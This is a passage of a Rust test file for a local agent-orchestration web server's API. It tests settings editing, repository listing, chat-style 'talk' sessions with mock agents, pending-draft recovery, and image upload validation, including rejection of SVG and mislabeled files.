8138 let res = f.get("/api/settings").await;
8139 assert_eq!(res.status, 200, "{}", res.body);
8140 let v = res.json();
8141 assert!(v["error"].is_null(), "{v}");
8142 let role = |k: &str| {
8143 v["roles"]
8144 .as_array()
8145 .and_then(|r| r.iter().find(|x| x["key"] == k))
8146 .cloned()
8147 .unwrap_or_else(|| panic!("no role {k}: {v}"))
8148 };
8149 assert_eq!(role("judges")["source"], "machine");
8150 assert_eq!(role("judges")["editable"], true);
8151 assert_eq!(role("implementers")["source"], "default");
8152 let adv = role("advisors");
8153 assert_eq!(adv["fallback"], "judges");
8154 assert!(
8155 adv["seats"]
8156 .as_array()
8157 .is_some_and(|s| s.iter().all(|x| x == "b")),
8158 "{adv}"
8159 );
8160 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
8161 assert_eq!(v["agents"][0]["source"], "repo");
8162 }
8163
8164 #[tokio::test]
8165 async fn settings_get_reports_a_config_that_does_not_parse() {
8166 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
8167 let f = Fixture::with_repo_and_machine(repo, machine).await;
8168 let res = f.get("/api/settings").await;
8169 assert_eq!(res.status, 200, "{}", res.body);
8170 let v = res.json();
8171 assert!(v["error"]["message"].is_string(), "{v}");
8172 assert!(
8173 v["error"]["path"]
8174 .as_str()
8175 .is_some_and(|p| p.ends_with("magi.toml")),
8176 "{v}"
8177 );
8178 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
8179 }
8180
8181 #[tokio::test]
8182 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
8183 let (_tmp, repo, machine) = settings_dirs(
8184 SETTINGS_AGENTS,
8185 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
8186 );
8187 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
8188 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
8189 let rev = f.get("/api/settings").await.json()["revision"]
8190 .as_str()
8191 .expect("revision")
8192 .to_owned();
8193 let body = serde_json::json!({
8194 "revision": rev,
8195 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
8196 })
8197 .to_string();
8198 let res = f.put("/api/settings/roles", &body).await;
8199 assert_eq!(res.status, 200, "{}", res.body);
8200 let text = std::fs::read_to_string(&machine).expect("machine");
8201 assert_eq!(
8202 text,
8203 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
8204 );
8205 assert_eq!(
8206 std::fs::read(repo.join("magi.toml")).expect("read"),
8207 repo_before
8208 );
8209 let again = f.get("/api/settings").await.json();
8210 let judges = again["roles"]
8211 .as_array()
8212 .expect("roles")
8213 .iter()
8214 .find(|r| r["key"] == "judges")
8215 .expect("judges")
8216 .clone();
8217 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
8218 let stale = f.put("/api/settings/roles", &body).await;
8220 assert_eq!(stale.status, 409, "{}", stale.body);
8221 }
8222
8223 #[tokio::test]
8224 async fn settings_put_refuses_without_touching_the_file() {
8225 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
8226 let (_tmp, repo, machine) = settings_dirs(
8227 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
8228 Some(machine_text),
8229 );
8230 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
8231 let rev = f.get("/api/settings").await.json()["revision"]
8232 .as_str()
8233 .expect("revision")
8234 .to_owned();
8235 for roles in [
8236 serde_json::json!({ "judges": ["nope"] }),
8237 serde_json::json!({ "reviewers": ["b"] }),
8238 serde_json::json!({ "bogus": ["a"] }),
8239 ] {
8240 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
8241 let res = f.put("/api/settings/roles", &body).await;
8242 assert_eq!(res.status, 422, "{roles}: {}", res.body);
8243 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
8244 assert_eq!(
8245 std::fs::read_to_string(&machine).expect("machine"),
8246 machine_text
8247 );
8248 }
8249 }
8250
8251 #[tokio::test]
8252 async fn repos_list_returns_name_and_path_for_every_configured_root() {
8253 let tmp = TempDir::new().expect("tempdir");
8254 let repo = tmp.path().join("repo");
8255 std::fs::create_dir_all(&repo).expect("repo dir");
8256 let root = tmp.path().join("root");
8257 make_checkout(&root, "github.com", "yukimemi", "magi");
8258 std::fs::write(
8259 repo.join("magi.toml"),
8260 format!(
8261 "[repos]\nroots = [{:?}]\n",
8262 root.to_string_lossy().into_owned()
8263 ),
8264 )
8265 .expect("write magi.toml");
8266
8267 let f = Fixture::with_repo(repo).await;
8268 let res = f.get("/api/repos").await;
8269 assert_eq!(res.status, 200, "{}", res.body);
8270 let list = res.json();
8271 let repos = list.as_array().expect("an array");
8272 assert_eq!(repos.len(), 1);
8273 assert_eq!(repos[0]["name"], "yukimemi/magi");
8274 assert!(
8275 repos[0]["path"]
8276 .as_str()
8277 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
8278 "{list}"
8279 );
8280 }
8281
8282 #[tokio::test]
8283 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
8284 let tmp = TempDir::new().expect("tempdir");
8285 let repo = tmp.path().join("repo");
8286 std::fs::create_dir_all(&repo).expect("repo dir");
8287 let root = tmp.path().join("root");
8288 make_checkout(&root, "github.com", "yukimemi", "magi");
8289 std::fs::write(
8290 repo.join("magi.toml"),
8291 format!(
8292 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
8293 root.to_string_lossy().into_owned()
8294 ),
8295 )
8296 .expect("write magi.toml");
8297
8298 let f = Fixture::with_repo(repo).await;
8299 let first = f.get("/api/repos").await;
8300 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
8301
8302 make_checkout(&root, "github.com", "yukimemi", "rvpm");
8305 let second = f.get("/api/repos").await;
8306 assert_eq!(
8307 second.json().as_array().map(Vec::len),
8308 Some(1),
8309 "a fresh cache must not rescan inside the TTL"
8310 );
8311
8312 let refreshed = f.get("/api/repos?refresh=1").await;
8313 assert_eq!(
8314 refreshed.json().as_array().map(Vec::len),
8315 Some(2),
8316 "an explicit refresh must rescan even inside the TTL"
8317 );
8318 }
8319
8320 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
8326
8327 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
8331 let tmp = TempDir::new().expect("tempdir");
8332 let repo = tmp.path().join("repo");
8333 std::fs::create_dir_all(&repo).expect("repo dir");
8334 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8335 let f = Fixture::with_repo(repo.clone()).await;
8336 (tmp, repo, f)
8337 }
8338
8339 #[tokio::test]
8340 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
8341 let (_tmp, _repo, f) = talk_fixture().await;
8342
8343 let opened = f.post("/api/talks", None).await;
8346 assert_eq!(opened.status, 201, "{}", opened.body);
8347 let body = opened.json();
8348 assert_eq!(body["status"], "open");
8349 assert_eq!(
8350 body["turns"].as_array().unwrap().len(),
8351 0,
8352 "opening takes no agent turn: there is nothing yet to answer"
8353 );
8354
8355 let also_opened = f.post("/api/talks", Some("{}")).await;
8357 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
8358
8359 let listed = f.get("/api/talks").await.json();
8360 assert_eq!(listed.as_array().unwrap().len(), 2);
8361 }
8362
8363 #[tokio::test]
8364 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
8365 let tmp = TempDir::new().expect("tempdir");
8366 let repo = tmp.path().join("repo");
8367 std::fs::create_dir_all(&repo).expect("repo dir");
8368 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
8369 std::fs::write(
8370 repo.join("magi.toml"),
8371 format!("{MOCK_AGENT_TOML}\n{second}"),
8372 )
8373 .expect("write magi.toml");
8374 let home = TempDir::new().expect("temp home");
8375 let talks = Talks::at(home.path().join("talks"));
8376 let ui = Arc::new(
8377 Ui::new(
8378 Queue::at(home.path().join("queue")),
8379 Questions::at(home.path().join("questions")),
8380 talks.clone(),
8381 home.path().join("runs"),
8382 home.path().to_path_buf(),
8383 repo.clone(),
8384 )
8385 .with_worktrees_root(home.path().join("wt")),
8386 );
8387 let cfg = config_for(&repo).await.expect("discover config");
8388 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
8389 let id = talk.id.clone();
8390 let call = |agent: &str| {
8391 talk_agent(
8392 State(Arc::clone(&ui)),
8393 Path(id.clone()),
8394 Json(TalkAgent {
8395 agent: agent.to_owned(),
8396 }),
8397 )
8398 };
8399
8400 let unknown = call("nobody").await.expect_err("unknown agent");
8401 assert_eq!(
8402 unknown.status,
8403 StatusCode::BAD_REQUEST,
8404 "{}",
8405 unknown.message
8406 );
8407
8408 {
8409 let mut claimed = None;
8412 for _ in 0..200 {
8413 claimed = ui.begin_talk_turn(&id).expect("claim");
8414 if claimed.is_some() {
8415 break;
8416 }
8417 tokio::time::sleep(Duration::from_millis(10)).await;
8418 }
8419 let _busy = claimed.expect("free");
8420 let busy = call("second").await.expect_err("busy talk");
8421 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
8422 }
8423 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
8424
8425 let Json(view) = call("second").await.expect("switch");
8426 assert_eq!(view.talk.agent, "second");
8427 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
8428 let saved = talks.get(&id).expect("reload");
8429 assert_eq!(saved.agent, "second");
8430 assert_eq!(saved.turns.len(), 1);
8431
8432 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
8433 .await
8434 .expect("detail");
8435 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
8436 assert_eq!(roster, ["mock", "second"]);
8437
8438 let mut closed = talks.get(&id).expect("reload");
8439 talk::close(&mut closed, &talks).expect("close");
8440 let refused = call("mock").await.expect_err("closed talk");
8441 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
8442 }
8443
8444 #[tokio::test]
8445 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
8446 let f = Fixture::start().await;
8447 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
8448 let queue = f.queue();
8449 let mut mine = Task::new(
8450 "rename the loader".to_owned(),
8451 "rename the loader".to_owned(),
8452 PathBuf::from("/repo/magi"),
8453 Source::Agent {
8454 run: talk_id.clone(),
8455 node: "chat".to_owned(),
8456 },
8457 );
8458 queue.put(&mut mine).expect("file the task");
8459 let mut theirs = Task::new(
8460 "unrelated".to_owned(),
8461 "unrelated".to_owned(),
8462 PathBuf::from("/repo/magi"),
8463 Source::Human,
8464 );
8465 queue.put(&mut theirs).expect("file the task");
8466
8467 let res = f.get(&format!("/api/talks/{talk_id}")).await;
8468 assert_eq!(res.status, 200, "{}", res.body);
8469 let body = res.json();
8470 assert_eq!(
8471 body["status"], "open",
8472 "filing a task does not close a talk"
8473 );
8474 let tasks = body["tasks"].as_array().expect("tasks array");
8475 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
8476 assert_eq!(tasks[0]["id"], mine.id);
8477 }
8478
8479 #[tokio::test]
8480 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
8481 let (_tmp, _repo, f) = talk_fixture().await;
8482 let id = f.post("/api/talks", None).await.json()["id"]
8483 .as_str()
8484 .expect("id")
8485 .to_owned();
8486
8487 let res = f
8488 .post(
8489 &format!("/api/talks/{id}/say"),
8490 Some(r#"{"text":"what does the queue module do?"}"#),
8491 )
8492 .await;
8493 assert_eq!(res.status, 202, "{}", res.body);
8494 let queued = res.json();
8495 let turns = queued["turns"].as_array().expect("turns array");
8496 assert_eq!(
8497 turns.len(),
8498 1,
8499 "the answer reflects only what is on disk the instant it is sent, \
8500 before the agent's turn - which can run for the whole of \
8501 `[graph] timeout_talk` - has a chance to land: {queued}"
8502 );
8503 assert_eq!(turns[0]["who"], "operator");
8504 assert_eq!(turns[0]["body"], "what does the queue module do?");
8505 assert_eq!(
8506 queued["thinking"], true,
8507 "the accepted response exposes the background turn claim: {queued}"
8508 );
8509
8510 let mut turns_after = 1;
8511 for _ in 0..SETTLE_STEPS {
8512 let detail = f.get(&format!("/api/talks/{id}")).await.json();
8513 turns_after = detail["turns"].as_array().expect("turns array").len();
8514 if turns_after == 2 {
8515 break;
8516 }
8517 tokio::time::sleep(Duration::from_millis(10)).await;
8518 }
8519 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
8520 }
8521
8522 #[tokio::test]
8549 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
8550 let tmp = TempDir::new().expect("tempdir");
8551 let repo = tmp.path().join("repo");
8552 std::fs::create_dir_all(&repo).expect("repo dir");
8553 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8554 let home = TempDir::new().expect("temp home");
8555 let talks = Talks::at(home.path().join("talks"));
8556 let ui = Arc::new(
8557 Ui::new(
8558 Queue::at(home.path().join("queue")),
8559 Questions::at(home.path().join("questions")),
8560 talks.clone(),
8561 home.path().join("runs"),
8562 home.path().to_path_buf(),
8563 repo.clone(),
8564 )
8565 .with_worktrees_root(home.path().join("wt")),
8566 );
8567 let cfg = config_for(&repo).await.expect("discover config");
8568
8569 for delay in 0..40u32 {
8570 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
8571 let id = talk.id.clone();
8572
8573 let handler = tokio::spawn(talk_say(
8574 State(Arc::clone(&ui)),
8575 Path(id.clone()),
8576 Ok(Json(NewTalkTurn {
8577 text: "what does the queue module do?".to_owned(),
8578 attachments: Vec::new(),
8579 })),
8580 ));
8581 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
8582 handler.abort();
8583 let _ = handler.await;
8586
8587 let mut turns = 0;
8588 for _ in 0..SETTLE_STEPS {
8589 if let Ok(fresh) = talks.get(&id) {
8590 turns = fresh.turns.len();
8591 if turns != 1 {
8592 break;
8593 }
8594 }
8595 tokio::time::sleep(Duration::from_millis(10)).await;
8596 }
8597 assert_ne!(
8598 turns, 1,
8599 "delay {delay}: talk {id} recorded the operator's turn but \
8600 the agent never answered - the reply task was never \
8601 started after the handler future was dropped"
8602 );
8603 }
8604 }
8605
8606 #[tokio::test]
8651 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
8652 let tmp = TempDir::new().expect("tempdir");
8653 let repo = tmp.path().join("repo");
8654 std::fs::create_dir_all(&repo).expect("repo dir");
8655 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8656 let home = TempDir::new().expect("temp home");
8657 let talks = Talks::at(home.path().join("talks"));
8658 let ui = Arc::new(
8659 Ui::new(
8660 Queue::at(home.path().join("queue")),
8661 Questions::at(home.path().join("questions")),
8662 talks.clone(),
8663 home.path().join("runs"),
8664 home.path().to_path_buf(),
8665 repo.clone(),
8666 )
8667 .with_worktrees_root(home.path().join("wt")),
8668 );
8669 let cfg = config_for(&repo).await.expect("discover config");
8670
8671 for attempt in 0..3u32 {
8672 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
8673 let id = talk.id.clone();
8674 let turn_guard = ui
8677 .begin_talk_turn(&id)
8678 .expect("claim the turn")
8679 .expect("a fresh talk owes nobody a turn");
8680
8681 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
8682 let (release_tx, release_rx) = std::sync::mpsc::channel();
8683 ui.set_busy_queue_gate(BusyQueueGate {
8684 reached: reached_tx,
8685 release: release_rx,
8686 });
8687
8688 let handler = tokio::spawn(talk_say(
8689 State(Arc::clone(&ui)),
8690 Path(id.clone()),
8691 Ok(Json(NewTalkTurn {
8692 text: "what does the queue module do?".to_owned(),
8693 attachments: Vec::new(),
8694 })),
8695 ));
8696
8697 tokio::time::timeout(Duration::from_secs(5), reached_rx)
8702 .await
8703 .unwrap_or_else(|_| {
8704 panic!(
8705 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
8706 )
8707 })
8708 .expect("the busy branch dropped the gate without using it");
8709
8710 let running = talks.get(&id).expect("reload talk");
8717 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
8718
8719 handler.abort();
8723 let _ = handler.await;
8724
8725 let _ = release_tx.send(());
8731
8732 let mut fresh = talks.get(&id).expect("reload talk");
8735 for _ in 0..SETTLE_STEPS {
8736 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
8737 break;
8738 }
8739 tokio::time::sleep(Duration::from_millis(10)).await;
8740 fresh = talks.get(&id).expect("reload talk");
8741 }
8742 assert!(
8743 fresh.pending.is_empty() && fresh.turns.len() == 2,
8744 "attempt {attempt}: talk {id} left the operator's text queued \
8745 with no drainer - the reclaimed turn was dropped along with \
8746 the handler future (pending {:?}, {} turns)",
8747 fresh.pending,
8748 fresh.turns.len()
8749 );
8750 }
8751 }
8752
8753 #[tokio::test]
8754 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
8755 let (_tmp, _repo, f) = talk_fixture().await;
8756 let id = f.post("/api/talks", None).await.json()["id"]
8757 .as_str()
8758 .expect("id")
8759 .to_owned();
8760 let store = f.talks();
8761 let mut recovered = store.get(&id).expect("opened talk");
8762 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
8763 .expect("persist pending draft without a live turn");
8764
8765 let edited = f
8766 .post(
8767 &format!("/api/talks/{id}/pending/edit"),
8768 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
8769 )
8770 .await;
8771 assert_eq!(edited.status, 200, "{}", edited.body);
8772 assert!(edited.json()["thinking"].as_bool().unwrap());
8773
8774 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
8775 for _ in 0..SETTLE_STEPS {
8776 if detail["turns"].as_array().expect("turns").len() == 2 {
8777 break;
8778 }
8779 tokio::time::sleep(Duration::from_millis(10)).await;
8780 detail = f.get(&format!("/api/talks/{id}")).await.json();
8781 }
8782 let turns = detail["turns"].as_array().expect("turns");
8783 assert_eq!(
8784 turns.len(),
8785 2,
8786 "the recovered draft must run once: {detail}"
8787 );
8788 assert_eq!(turns[0]["body"], "corrected");
8789 assert_eq!(detail["pending"], "");
8790 }
8791
8792 #[tokio::test]
8793 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
8794 let tmp = TempDir::new().expect("tempdir");
8795 let repo = tmp.path().join("repo");
8796 std::fs::create_dir_all(&repo).expect("repo dir");
8797 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
8798 let f = Fixture::with_repo(repo).await;
8799 let id = f.post("/api/talks", None).await.json()["id"]
8800 .as_str()
8801 .expect("id")
8802 .to_owned();
8803 let store = f.talks();
8804 let mut recovered = store.get(&id).expect("opened talk");
8805 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
8806 .expect("persist pending draft without a live turn");
8807
8808 let refused = f
8809 .post(
8810 &format!("/api/talks/{id}/say"),
8811 Some(r#"{"text":"new message"}"#),
8812 )
8813 .await;
8814 assert_eq!(refused.status, 409, "{}", refused.body);
8815 assert!(refused.body.contains("resume"), "{}", refused.body);
8816 let saved = store.get(&id).expect("draft remains after refusal");
8817 assert!(saved.turns.is_empty());
8818 assert_eq!(saved.pending, "saved before restart");
8819
8820 let say_path = format!("/api/talks/{id}/say");
8821 let (first, second) = tokio::join!(
8822 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
8823 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
8824 );
8825 assert_eq!(first.status, 409, "{}", first.body);
8826 assert_eq!(second.status, 409, "{}", second.body);
8827 let saved = store
8828 .get(&id)
8829 .expect("draft remains after concurrent refusals");
8830 assert!(saved.turns.is_empty());
8831 assert_eq!(saved.pending, "saved before restart");
8832
8833 let resumed = f
8834 .post(&format!("/api/talks/{id}/pending/resume"), None)
8835 .await;
8836 assert_eq!(resumed.status, 202, "{}", resumed.body);
8837 let duplicate = f
8838 .post(&format!("/api/talks/{id}/pending/resume"), None)
8839 .await;
8840 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
8841
8842 for _ in 0..SETTLE_STEPS {
8843 if store.get(&id).expect("talk").turns.len() == 2 {
8844 break;
8845 }
8846 tokio::time::sleep(Duration::from_millis(10)).await;
8847 }
8848 let finished = store.get(&id).expect("finished talk");
8849 assert_eq!(finished.turns.len(), 2, "{finished:?}");
8850 assert_eq!(finished.turns[0].body, "saved before restart");
8851 assert!(finished.pending.is_empty());
8852 }
8853
8854 #[tokio::test]
8855 async fn an_image_only_recovered_draft_resumes_without_text() {
8856 let (_tmp, _repo, f) = talk_fixture().await;
8857 let id = f.post("/api/talks", None).await.json()["id"]
8858 .as_str()
8859 .expect("id")
8860 .to_owned();
8861 let uploaded = f
8862 .post_bytes(
8863 &format!("/api/talks/{id}/attachments"),
8864 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
8865 PNG_BYTES,
8866 )
8867 .await;
8868 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
8869 let attachment = f
8870 .talks()
8871 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
8872 .expect("attachment metadata")
8873 .expect("stored attachment");
8874 let store = f.talks();
8875 let mut recovered = store.get(&id).expect("opened talk");
8876 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
8877
8878 let resumed = f
8879 .post(&format!("/api/talks/{id}/pending/resume"), None)
8880 .await;
8881 assert_eq!(resumed.status, 202, "{}", resumed.body);
8882 for _ in 0..SETTLE_STEPS {
8883 if store.get(&id).expect("talk").turns.len() == 2 {
8884 break;
8885 }
8886 tokio::time::sleep(Duration::from_millis(10)).await;
8887 }
8888 let finished = store.get(&id).expect("finished talk");
8889 assert_eq!(finished.turns.len(), 2, "{finished:?}");
8890 assert!(finished.turns[0].body.is_empty());
8891 assert_eq!(finished.turns[0].attachments.len(), 1);
8892 assert!(finished.pending_attachments.is_empty());
8893 }
8894
8895 #[tokio::test]
8896 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
8897 let (_tmp, _repo, f) = talk_fixture().await;
8898 let id = f.post("/api/talks", None).await.json()["id"]
8899 .as_str()
8900 .expect("id")
8901 .to_owned();
8902 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
8903 assert_eq!(closed.status, 200, "{}", closed.body);
8904 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
8905 .expect("serialize closed talk");
8906 for (path, body) in [
8907 (format!("/api/talks/{id}/pending/resume"), None),
8908 (
8909 format!("/api/talks/{id}/pending/clear"),
8910 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
8911 ),
8912 (
8913 format!("/api/talks/{id}/pending/edit"),
8914 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
8915 ),
8916 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
8917 ] {
8918 let response = f.post(&path, body).await;
8919 assert_eq!(response.status, 409, "{}", response.body);
8920 }
8921 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
8922 .expect("serialize closed talk");
8923 assert_eq!(
8924 after_clear, before_clear,
8925 "clear must not rewrite a closed talk"
8926 );
8927 }
8928
8929 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
8932
8933 #[tokio::test]
8934 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
8935 let tmp = TempDir::new().expect("tempdir");
8936 let repo = tmp.path().join("repo");
8937 std::fs::create_dir_all(&repo).expect("repo dir");
8938 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
8939 let f = Fixture::with_repo(repo).await;
8940 let id_a = f.post("/api/talks", None).await.json()["id"]
8941 .as_str()
8942 .unwrap()
8943 .to_owned();
8944 let id_b = f.post("/api/talks", None).await.json()["id"]
8945 .as_str()
8946 .unwrap()
8947 .to_owned();
8948
8949 let a = f
8950 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
8951 .await;
8952 assert_eq!(a.status, 202, "{}", a.body);
8953 assert_eq!(a.json()["thinking"], true);
8954 let b = f
8955 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
8956 .await;
8957 assert_eq!(b.status, 202, "{}", b.body);
8958 assert_eq!(b.json()["thinking"], true);
8959
8960 let listed = f.get("/api/talks").await.json();
8961 for id in [&id_a, &id_b] {
8962 let view = listed
8963 .as_array()
8964 .unwrap()
8965 .iter()
8966 .find(|talk| talk["id"] == *id)
8967 .unwrap();
8968 assert_eq!(view["thinking"], true, "{listed}");
8969 }
8970 let repeated = f
8971 .post(
8972 &format!("/api/talks/{id_a}/say"),
8973 Some(r#"{"text":"again"}"#),
8974 )
8975 .await;
8976 assert_eq!(repeated.status, 202, "{}", repeated.body);
8977 assert_eq!(repeated.json()["pending"], "again");
8978 }
8979
8980 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
8983
8984 #[tokio::test]
8985 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
8986 let f = Fixture::start().await;
8987 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
8988
8989 let res = f
8990 .post_bytes(
8991 &format!("/api/talks/{id}/attachments"),
8992 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
8993 PNG_BYTES,
8994 )
8995 .await;
8996 assert_eq!(res.status, 201, "{}", res.body);
8997 let body = res.json();
8998 assert_eq!(body["name"], "shot.png");
8999 assert_eq!(body["mime"], "image/png");
9000 assert_eq!(body["bytes"], PNG_BYTES.len());
9001 let att_id = body["id"].as_str().expect("id").to_owned();
9002 assert_eq!(
9003 att_id.len(),
9004 32,
9005 "the id must never be a client-suppliable path: {att_id}"
9006 );
9007
9008 let got = f
9009 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
9010 .await;
9011 assert_eq!(got.status, 200, "{}", got.body);
9012 assert_eq!(got.header("content-type"), Some("image/png"));
9013 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
9014 assert_eq!(got.bytes, PNG_BYTES);
9015 }
9016
9017 #[tokio::test]
9018 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
9019 let f = Fixture::start().await;
9020 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
9021
9022 let svg = f
9025 .post_bytes(
9026 &format!("/api/talks/{id}/attachments"),
9027 &[("Content-Type", "image/svg+xml")],
9028 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
9029 )
9030 .await;
9031 assert!(
9032 (400..500).contains(&svg.status),
9033 "svg must be refused: {} {}",
9034 svg.status,
9035 svg.body
9036 );
9037 assert!(svg.body.contains("SVG"), "{}", svg.body);
9038
9039 let text = f
9040 .post_bytes(
9041 &format!("/api/talks/{id}/attachments"),
9042 &[("Content-Type", "text/plain")],
9043 b"just some text",
9044 )
9045 .await;
9046 assert!(
9047 (400..500).contains(&text.status),
9048 "an unlisted type must be refused: {} {}",
9049 text.status,
9050 text.body
9051 );
9052
9053 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
9056 let big = f
9057 .post_bytes(
9058 &format!("/api/talks/{id}/attachments"),
9059 &[("Content-Type", "image/png")],
9060 &oversized,
9061 )
9062 .await;
9063 assert_eq!(
9064 big.status,
9065 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
9066 "{}",
9067 big.body
9068 );
9069 }
9070
9071 #[tokio::test]
9072 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
9073 let f = Fixture::start().await;
9074 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
9075
9076 let res = f
9079 .post_bytes(
9080 &format!("/api/talks/{id}/attachments"),
9081 &[("Content-Type", "image/png")],
9082 b"<html>not a picture</html>",
9083 )
9084 .await;
9085 assert!((400..500).contains(&res.status), "{}", res.body);
9086 }
9087
9088 #[tokio::test]
9089 async fn an_unknown_attachment_id_is_a_404() {
9090 let f = Fixture::start().await;
9091 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
9092
9093 let res = f
9094 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
9095 .await;
9096 assert_eq!(res.status, 404, "{}", res.body);
9097 }
9098
9099 #[tokio::test]
9100 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
9101 let f = Fixture::start().await;
9102 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
9103
9104 let uploaded = f
9105 .post_bytes(
9106 &format!("/api/talks/{id}/attachments"),
9107 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
9108 PNG_BYTES,
9109 )
9110 .await;
9111 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
9112 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
9113
9114 let res = f
9115 .post(
9116 &format!("/api/talks/{id}/say"),
9117 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
9118 )
9119 .await;
9120 assert_eq!(res.status, 202, "{}", res.body);
9121 let queued = res.json();
9122 let turns = queued["turns"].as_array().expect("turns array");
9123 assert_eq!(
9124 turns.len(),
9125 1,
9126 "an empty body with an attachment is still a turn: {queued}"
9127 );
9128 assert_eq!(turns[0]["who"], "operator");
9129 assert_eq!(turns[0]["body"], "");
9130 let atts = turns[0]["attachments"]
9131 .as_array()
9132 .expect("attachments array");
